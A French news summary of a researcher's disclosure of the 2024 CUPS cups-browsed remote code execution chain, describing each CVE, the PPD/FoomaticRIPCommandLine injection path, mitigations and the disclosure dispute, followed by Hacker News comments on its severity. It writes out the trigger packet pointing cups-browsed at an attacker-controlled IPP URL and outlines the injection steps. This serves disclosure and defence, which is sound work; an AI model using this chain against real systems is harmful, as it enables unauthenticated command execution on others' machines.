1 points par GN⁺ 2024-09-27 | 1 commentaires | Partager sur WhatsApp
  • Quand le chemin de découverte automatique des imprimantes de CUPS se combine à l’absence de validation des attributs IPP, un attaquant distant non authentifié peut injecter une configuration d’imprimante malveillante et aller jusqu’à provoquer l’exécution de commandes arbitraires lors de l’impression
  • Le point de départ de l’attaque est le comportement de cups-browsed, qui accepte sur le port UDP 631 des paquets de n’importe quelle source et envoie une requête IPP Get-Printer-Attributes vers une URL contrôlée par l’attaquant
  • Les vulnérabilités sont réparties entre CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 et CVE-2024-47177, et s’enchaînent jusqu’à la génération de PPD par libcupsfilters, libppd et cups-filters, puis au flux d’exécution de foomatic-rip
  • Le périmètre d’impact couvre la plupart des distributions GNU/Linux, certains BSD, potentiellement Oracle Solaris ainsi que Chromium/ChromeOS ; lors d’un scan IPv4 public, des callbacks provenant de centaines de milliers d’appareils et jusqu’à 200 000 à 300 000 clients simultanés ont été observés
  • En pratique, il faut désactiver ou supprimer cups-browsed s’il n’est pas nécessaire, mettre à jour les paquets CUPS et, si la mise à jour est difficile, envisager de bloquer UDP 631 ainsi que, si nécessaire, le trafic DNS-SD

Le cœur de la chaîne de vulnérabilités

  • Cette chaîne part de la fonctionnalité de découverte automatique des imprimantes de CUPS, puis passe par le traitement des attributs IPP, la génération de fichiers PPD et l’exécution de filtres
  • Les principales vulnérabilités s’emboîtent en quatre étapes
    • CVE-2024-47176 : cups-browsed 2.0.1 et versions antérieures se lie à UDP INADDR_ANY:631 et, en faisant confiance à des paquets provenant de n’importe quelle source, déclenche une requête IPP Get-Printer-Attributes vers une URL contrôlée par l’attaquant
    • CVE-2024-47076 : cfGetPrinterAttributes5 dans libcupsfilters 2.1b1 et versions antérieures transmet au système CUPS les attributs reçus du serveur IPP sans validation ni nettoyage
    • CVE-2024-47175 : ppdCreatePPDFromIPP2 dans libppd 2.1b1 et versions antérieures écrit les attributs IPP dans un fichier PPD temporaire sans validation ni nettoyage, permettant l’insertion de données contrôlées par l’attaquant
    • CVE-2024-47177 : foomatic-rip dans cups-filters 2.0.1 et versions antérieures autorise l’exécution de commandes arbitraires via le paramètre FoomaticRIPCommandLine du PPD

Point d’entrée de l’attaque et périmètre d’impact

  • Un attaquant distant non authentifié peut modifier silencieusement l’URL IPP d’une imprimante existante pour la remplacer par une URL malveillante, ou faire installer une nouvelle imprimante
  • L’exécution effective de commandes se produit lorsqu’une tâche d’impression est lancée sur l’ordinateur concerné
  • Il existe deux points d’entrée
    • WAN / Internet public : un attaquant distant envoie un paquet vers le port UDP 631, sans authentification requise
    • LAN : un attaquant local peut usurper des annonces zeroconf, mDNS ou DNS-SD pour atteindre une RCE via le même chemin de code
  • CUPS et cups-browsed sont empaquetés pour plusieurs systèmes de type UNIX
  • Après avoir scanné plusieurs fois par jour, pendant plusieurs semaines, l’ensemble de l’espace IPv4 accessible sur Internet public, des centaines de milliers d’appareils ont rappelé après l’envoi de paquets UDP, avec des pics observés allant jusqu’à 200 000 à 300 000 clients simultanés

Le chemin ouvert par cups-browsed

  • Sur un ordinateur portable Ubuntu, l’exécution de netstat -anu a révélé un port UDP à l’écoute sur 0.0.0.0:631
  • La vérification avec lsof -i :631 a montré que TCP 631 était utilisé par cupsd, tandis qu’UDP 631 l’était par cups-browsed
  • Dans ps aux, le processus cups-browsed apparaissait comme exécuté en tant que root
  • cups-browsed fait partie du système CUPS et sert à découvrir de nouvelles imprimantes pour les ajouter automatiquement au système
  • L’examen du code source a montré que le service était lié à INADDR_ANY:631 UDP et attendait des paquets UDP au format HEX_NUMBER HEX_NUMBER TEXT_DATA
  • Avec un fichier de configuration par défaut dont la majeure partie est commentée, les restrictions d’accès deviennent en pratique faibles

Problèmes de parsing et bugs supplémentaires

  • Le paquet CUPS lui-même est inclus dans oss-fuzz, mais cups-browsed ne semble pas bénéficier d’une couverture de fuzzing
  • Après la création d’une cible de fuzzing basée sur AFL autour de process_browse_data, cinq entrées ont déclenché un stack-buffer-overflow
  • La cause identifiée était un flux où, dans deux boucles, un pointeur était déréférencé avant la vérification de la condition de terminaison
  • Par la suite, une race condition et un possible DoS ont également été découverts autour du point de gestion des verrous
  • Ces problèmes ont été signalés aux développeurs et au CERT, mais, selon le chercheur, ils n’avaient pas été reconnus ni corrigés

Requêtes IPP et injection PPD

  • found_cups_printer traite l’un des champs texte extraits du paquet UDP comme une URL
  • Cette URL et les données associées passent par les flux examine_discovered_printer_record et create_remote_printer_entry, puis aboutissent à l’appel cfGetPrinterAttributes de libcupsfilters
  • Si l’attaquant envoie un paquet de la forme 0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever, la cible cups-browsed se connecte à l’URL de l’attaquant
  • Lors de la connexion, l’en-tête User-Agent contenait la version du noyau et l’architecture ; certaines requêtes rapportaient aussi le nom d’utilisateur de la cible
  • L’Internet Printing Protocol est un protocole de communication entre clients et imprimantes ou serveurs d’impression, utilisé notamment pour consulter l’état des imprimantes et soumettre des tâches d’impression
  • Le système cible reconnaît le serveur de l’attaquant comme une imprimante et envoie une requête Get-Printer-Attributes encapsulée dans HTTP
  • En répondant avec des attributs contrôlables au moyen du paquet Python ippserver, une fausse imprimante a été ajoutée aux imprimantes locales sans notification à l’utilisateur

Chemin d’exécution via PPD et foomatic-rip

  • Les journaux de débogage montrent la création de la file d’impression, la génération d’un fichier PPD temporaire, puis l’utilisation et la modification du PPD
  • La fonction create_queue transmet les attributs IPP à l’API ppdCreatePPDFromIPP2 de libppd
  • ppdCreatePPDFromIPP2 écrit dans le fichier PPD, sans validation ni échappement, des attributs texte contrôlés par l’attaquant comme printer-make-and-model
  • Un fichier PostScript Printer Description est un fichier texte décrivant les fonctionnalités et capacités d’une imprimante ; dans CUPS, il sert à spécifier les fonctions d’impression et la manière de les utiliser
  • Parmi les différentes directives PPD, l’extension CUPS cupsFilter2 peut exécuter comme filtre un fichier exécutable situé sous /usr/lib/cups/filter lors d’une tâche d’impression
  • foomatic-rip est traité comme un filtre pouvant exécuter des commandes via la directive FoomaticRIPCommandLine du PPD
  • Par le passé, foomatic-filters avait reçu des correctifs liés à CVE-2011-2964 et CVE-2011-2697, mais il a été confirmé que ces correctifs n’avaient pas été portés lors de l’intégration à CUPS
  • La vulnérabilité plus récente CVE-2024-35235 mentionne elle aussi l’exécution de commandes arbitraires via FoomaticRIPCommandLine
  • Selon les explications des développeurs de CUPS, restreindre ce qui peut être fourni à FoomaticRIPCommandLine est très difficile sans casser des pilotes existants, et des centaines de vieux modèles d’imprimantes antérieurs à 2010 pourraient dépendre uniquement de Foomatic

Déroulé de reproduction de la RCE

  • La chaîne de RCE se compose de trois étapes
    • amener le système cible à se connecter au serveur IPP malveillant de l’attaquant
    • renvoyer une chaîne d’attributs IPP contrôlée par l’attaquant pour insérer des directives dans le fichier PPD temporaire
    • lorsque qu’une tâche d’impression est envoyée à la fausse imprimante, les directives PPD et la commande sont exécutées
  • L’exécution de commandes est configurée dans les paramètres du serveur IPP en fermant la chaîne PPD, en insérant une nouvelle ligne, puis en ajoutant les directives FoomaticRIPCommandLine et cupsFilter2
  • La cible de démonstration était un Ubuntu 24.04.1 LTS entièrement corrigé avec cups-browsed 2.0.1, et l’exécution de commandes a été obtenue depuis la machine de l’attaquant
  • Ce flux fonctionne lorsque plusieurs étapes de traitement de cups-browsed, libcupsfilters, libppd et cups-filters s’enchaînent

Atténuation et recommandations

  • Si cups-browsed n’est pas nécessaire, il est recommandé de désactiver et de supprimer le service
  • Il faut mettre à jour les paquets CUPS du système
  • Si la mise à jour n’est pas possible et que le service est nécessaire, il faut bloquer le trafic UDP 631
  • Selon les situations, le trafic DNS-SD peut également être bloqué, mais cela peut être difficile dans les environnements utilisant zeroconf
  • À titre de recommandation personnelle, le chercheur indique avoir supprimé de son système les services, binaires et bibliothèques CUPS, et ne plus imprimer depuis des systèmes UNIX
  • Il ajoute qu’il supprimera aussi les listeners zeroconf, Avahi et Bonjour

Processus de divulgation et travaux ultérieurs

  • La recherche elle-même a pris quelques jours, mais 22 jours se sont écoulés entre l’ouverture, le 5 septembre, d’un avis de sécurité dans le dépôt OpenPrinting cups-browsed pour lancer une divulgation responsable et la publication publique
  • Les discussions associées se sont poursuivies sous forme d’avis de sécurité pour cups-browsed, libcupsfilters, libppd et cups-filters
  • La recherche a pris 2 jours, l’exploit fonctionnel comptait 249 lignes, et le processus de divulgation a impliqué controverses, e-mails, messages et plus de 100 pages de texte
  • Concernant la controverse autour du score CVSS de 9,9, le score initial de 9,9 est expliqué comme une estimation réalisée par un ingénieur RedHat dans le rapport VINCE, puis relue par un autre ingénieur
  • Le chercheur estime que le score initial de 9,9 vient du fait que la RCE est facilement exploitable et que les paquets concernés sont largement présents, mais ajoute que, du point de vue de l’impact, il ne la classerait pas lui-même à 9,9
  • Il indique que le rapport Markdown exact et l’exploit partagés uniquement avec CERT VINCE ont fuité
  • Le premier exploit.py ne faisait qu’envoyer un paquet UDP et créer un serveur IPP malveillant, mais il a ensuite été transformé en outil avec l’ajout d’une fonctionnalité d’annonces zeroconf
  • Il a ensuite été réécrit en Go et intégré à bettercap, avec l’ajout de fonctionnalités permettant d’usurper de manière transparente, sur un LAN, les services annoncés via zeroconf, Bonjour et Avahi, ainsi que des traitements liés à IPP
  • Le prochain article abordera l’attaque d’Apple macOS au moyen d’un module bettercap pas encore publié ; le calendrier reste indéterminé en raison d’autres procédures de divulgation

1 commentaires

 
GN⁺ 2024-09-27
Avis sur Hacker News
  • J’ai cru que c’était une blague. En gros, « un attaquant distant non authentifié peut remplacer l’URL IPP d’une imprimante existante par une URL malveillante, ou en installer une nouvelle, afin d’exécuter des commandes arbitraires lorsqu’une tâche d’impression est lancée sur cet ordinateur » ; or Heartbleed était à 7,5, donc je ne vois pas comment ça pourrait valoir 9,9
    Le tweet initial parlait d’« exécution de code à distance non authentifiée sur tous les systèmes GNU/Linux, etc. », mais en réalité, sur beaucoup de distributions, CUPS n’est lié qu’à l’interface de loopback, ou n’est tout simplement pas installé
    Il dit aussi avoir scanné l’ensemble de l’IPv4 publique plusieurs fois par jour pendant des semaines et reçu des callbacks de centaines de milliers d’appareils ; si je comprends bien, cela voudrait dire qu’il y avait environ 300 000 instances CUPS ouvertes sur toute l’IPv4 publique, et pour qu’une exécution de code à distance ait lieu, il faut que le serveur CUPS concerné reçoive une tâche d’impression, ce qui n’arrivera probablement pas dans la plupart des cas

    • À la lecture de l’article, c’est certes assez grave, mais le message ressemble plutôt à : le démon cups-browsed doit disparaître et l’écosystème Linux doit discuter sérieusement de l’avenir de CUPS
      Les bugs semblent étonnamment simples et constituent au final un problème de sécurité assez sérieux, mais la réponse upstream n’est pas au niveau de ce qu’on pourrait attendre pour un paquet Linux desktop installé par défaut
      Cela dit, ce n’est clairement pas une panique CVSS 9,9 qui justifie d’arrêter le monde
    • Pour être juste, l’auteur a bien dit : « je ne le classerais pas à 9,9 selon l’impact, mais après tout, qu’est-ce que j’en sais »
    • Il y a aussi un dépassement de tampon exploitable sans action utilisateur. Le chemin foomatic qui nécessite une tâche d’impression n’était simplement qu’un des plus faciles à scanner et à exploiter
    • Le mème « Look at me, I'm the printer now » m’a vraiment fait rire. Quelle que soit l’évaluation de la gravité, au moins la blague est réussie
    • Heartbleed est une fuite de mémoire ; ici, c’est une exécution de code à distance complète sans action utilisateur. Une exécution de code à distance implique évidemment une fuite totale d’informations, et plus encore
      Plus précisément, l’exécution est différée jusqu’au moment où l’utilisateur imprime ensuite sur son imprimante avec les paramètres modifiés par l’attaquant, et la vulnérabilité se trouve dans cupsd-browser, pas dans cupsd
      On peut discuter de l’attitude de l’auteur, mais cette vulnérabilité est bel et bien un gros problème
  • Quelqu’un qui expose CUPS sur Internet est déjà dans un état de négligence tel qu’une CVE ne peut plus grand-chose

    • Le service vulnérable en question semble écouter sur 0.0.0.0, ce qui est préoccupant. Cela signifie qu’il est vulnérable par défaut sur le LAN et que, si le serveur est exposé à Internet, il faut bloquer explicitement le port 631
      Bien sûr, pour déclencher l’exploitation, il faut que l’utilisateur imprime quelque chose, et personnellement je ne crois pas avoir déjà imprimé quoi que ce soit depuis Linux, mais l’affirmation selon laquelle il a reçu des callbacks de centaines de milliers de machines Linux paraît plausible
    • Dans ce cas, « exposer CUPS sur Internet » ressemble plutôt à « faire tourner un desktop Linux connecté à Internet ». Je ne le ferais pas, mais ce n’est pas non plus délirant, et on s’attend à ce qu’une installation desktop Debian par défaut soit suffisamment sûre même sans pare-feu
      À tout le moins, un laptop Linux ne devrait pas devenir très vulnérable face à tous les autres appareils lorsqu’il est sur un Wi-Fi d’aéroport, par exemple
    • Quelqu’un qui va dans un café et utilise le Wi-Fi public expose de fait CUPS et peut être exploité. Balayer ça d’un revers de main n’aide personne
    • Aussi absurde que cela paraisse, CUPS tourne comme démon système, pas comme programme utilisateur fortement sandboxé
    • Cela dit, pour le mouvement latéral et l’élévation de privilèges, c’est une victoire totale
  • Selon la manière d’interpréter l’indicateur Scope de CVSSv3, cela semble plus précisément être 8,8 ou 9,6
    En résumé, sur certaines variantes de Linux desktop, CUPS exposé sur le LAN écoute sur 0.0.0.0, s’exécute en root et est vulnérable à une exécution de code à distance non authentifiée. Sur la plupart des Linux orientés serveur, comme Ubuntu Server ou CentOS, ce n’est pas un service par défaut, mais sur la plupart des Linux desktop, il semble être lancé par défaut
    Pour déclencher l’exécution de code à distance, l’utilisateur de la machine Linux vulnérable doit imprimer un document après l’exploitation
    evilsocket a dit avoir reçu des centaines de milliers de callbacks, et même si la plupart d’entre nous n’impriment presque jamais depuis Linux, un impact de cette ampleur pourrait suffire à constituer un gros botnet

    • Dans les universités, beaucoup de gens utilisent des desktops Linux avec IP publique et impriment constamment des articles scientifiques, leurs propres textes ou ceux des autres
    • La part de marché du desktop Linux est d’environ 4,5 %, même sans compter ChromeOS. Même si la plupart d’entre nous n’impriment pas, le volume de travaux d’impression sortant d’hôtes Linux reste probablement assez important
    • Heartbleed était à 7,5 et ce n’est que 0,4 de moins que l’affaire xz ; je ne comprends pas comment celui-ci peut être à 9,6
  • J’avais laissé cupsd ouvert sur Internet, donc j’ai un peu paniqué en voyant la nouvelle, mais comme le titre ici le dit, cette affaire a aussi été mal présentée. Le problème ne vient pas du cœur de cupsd, mais d’un paquet/composant séparé, cups-browsed
    Gentoo Linux, que j’utilise pour des serveurs, fournit cups-browsed comme paquet séparé, et comme je ne l’ai pas installé, je ne suis pas concerné. La plupart des utilisateurs de CUPS qui n’ont pas installé ce paquet supplémentaire ne sont pas affectés par ce bug
    Dire que tous les systèmes qui exécutent CUPS peuvent être piratés, c’est mal représenter l’ampleur du problème

    • Debian est plutôt conservatrice, mais je n’ai jamais aimé le fait que lorsqu’on installe cups, cups-browsed arrive généralement par défaut. Il semble que « no install recommends » règle le problème, mais de mémoire, des pilotes supplémentaires comme hplip peuvent aussi le ramener
      Chez moi, j’ai simplement désactivé le service, mais il est assez agaçant de voir de plus en plus de logiciels sortir de leur périmètre et rendre quasi obligatoires des composants qui devraient rester optionnels
      Un exemple similaire est avahi-daemon. Si l’on essaie de le supprimer sur un desktop Debian/Ubuntu, il y a de fortes chances que d’autres logiciels, pour lesquels on se demande pourquoi avahi devrait être une dépendance forte, soient supprimés avec lui
  • Je comprends le passage selon lequel « on attend trop des chercheurs, et on le tient pour acquis, à cause de triagers qui se comportent comme si un chercheur en sécurité comme vous devait “prouver qu’il mérite d’être écouté” », mais il y a aussi une triste réalité.
    Pour chaque rapport aussi bien documenté, il arrive 57 rapports de spam de mauvaise qualité visant à arracher une récompense de bug bounty ou à ajouter la découverte d’un CVE sur un CV. Avec l’essor des LLM en particulier, ce spam peut facilement tromper.
    C’est une situation triste, mais il est difficile de reprocher entièrement aux développeurs d’être sceptiques.

  • En résumé, cups-browsed écoute sur le port UDP 631 et peut installer automatiquement des imprimantes sans confirmation de l’utilisateur.
    Un attaquant utilise cette « fonctionnalité » pour installer sans confirmation une fausse imprimante dotée d’un pilote personnalisé téléchargeable depuis un hôte arbitraire, puis spécifie une commande à exécuter lorsqu’un travail d’impression est envoyé.
    Si l’utilisateur imprime quelque chose sur cette fausse imprimante, cette commande est exécutée.

    • CUPS a été introduit en 1999, donc l’installation automatique sans confirmation utilisateur avait peut-être du sens à l’époque. Mais je ne comprends pas pourquoi cela existe encore aujourd’hui.
  • Dans ce cas, il semble que les distributions aient inclus cups-browsed comme fonctionnalité, mais j’ai toujours trouvé mauvais qu’Ubuntu/Debian, et probablement toutes les distributions basées sur deb, démarrent automatiquement presque tous les services à l’installation.
    Cela signifie qu’en installant simplement un paquet, un autre service réseau installé comme dépendance peut se retrouver ouvert par erreur.
    Vous connaissez déjà exim4, mais pour être juste, sa configuration par défaut n’écoute que localhost, donc ce n’est peut-être pas un gros problème. Je viens d’installer cups-browsed sur une machine Debian, et deux services écoutant sur 0.0.0.0 (cups-browsed et avahi) ont été lancés.
    Ce n’est pas le cas sur Arch/Gentoo ni sur les distributions de la famille CentOS.

  • Le score CVSS initial publié sur Twitter indiquait qu’aucune interaction utilisateur n’était nécessaire. Pourtant, en lisant la chaîne d’exécution de code à distance sur la page, on voit qu’il faut « attendre qu’un travail d’impression soit envoyé à la fausse imprimante afin que la directive PPD et la commande correspondante soient exécutées ».
    Si Alice ne clique pas sur le bouton d’impression, il me semble que le travail d’impression ne se déclenche pas ; je me demande donc ce que je rate. Ce n’est pas que je mette evilsocket en doute, je cherche plutôt à vérifier ma compréhension.

    • Il y a aussi un buffer overflow trouvé avec un fuzzer, qui peut mener à une exécution de code à distance sans interaction utilisateur. Cela dit, l’auteur n’avait pas assez d’expertise dans ce domaine pour construire un exploit réel.
    • Cela dépend de la définition d’« interaction ». Si je comprends bien, Alice n’a pas besoin d’imprimer un document fourni par l’attaquant ; il suffit qu’elle imprime n’importe quoi.
  • Chaque fois que je dois imprimer quelque chose sur MacOS, je me rappelle à quel point je déteste les imprimantes et les logiciels liés aux imprimantes. Cela fait 40 ans que j’utilise des ordinateurs, et vraiment, les imprimantes deviennent plus pénibles à chaque décennie.

    • C’est amusant de se rappeler que le mouvement de la FSF a en grande partie commencé parce que Stallman était agacé par la qualité des pilotes d’imprimante. Et pourtant, pour une raison ou une autre, ce mouvement n’a pas réussi en 40 ans à améliorer de façon notable la qualité des logiciels liés aux imprimantes.
    • J’ai écrit du code pour imprimantes pendant plus de 10 ans. Je comprends à quel point les problèmes techniques sont difficiles, mais les fournisseurs rendent la situation bien pire. Les imprimantes sont détestables, et je pense que le sommet a été atteint avec la LaserJet III.
    • J’ai l’impression que les imprimantes sont bien meilleures qu’il y a 10 ans. Au moins sur MacOS et iOS, je n’ai aucun problème à trouver une imprimante et à imprimer. Il y a 10 ans, c’était douloureux ; aujourd’hui, selon mes critères, c’est fluide, et il n’y a pas besoin d’installer de pilote.
    • Dernière nouvelle : HP ajoute de l’IA dans ses pilotes d’imprimante. Ce n’est pas une blague : https://hardware.slashdot.org/story/24/09/27/0030239/hp-is-a...
    • On perd le contrôle des tâches, mais si l’on convertit le document en PostScript puis qu’on l’envoie au port de l’imprimante avec netcat, ça fonctionne bien.
      pdf2ps - | nc 9001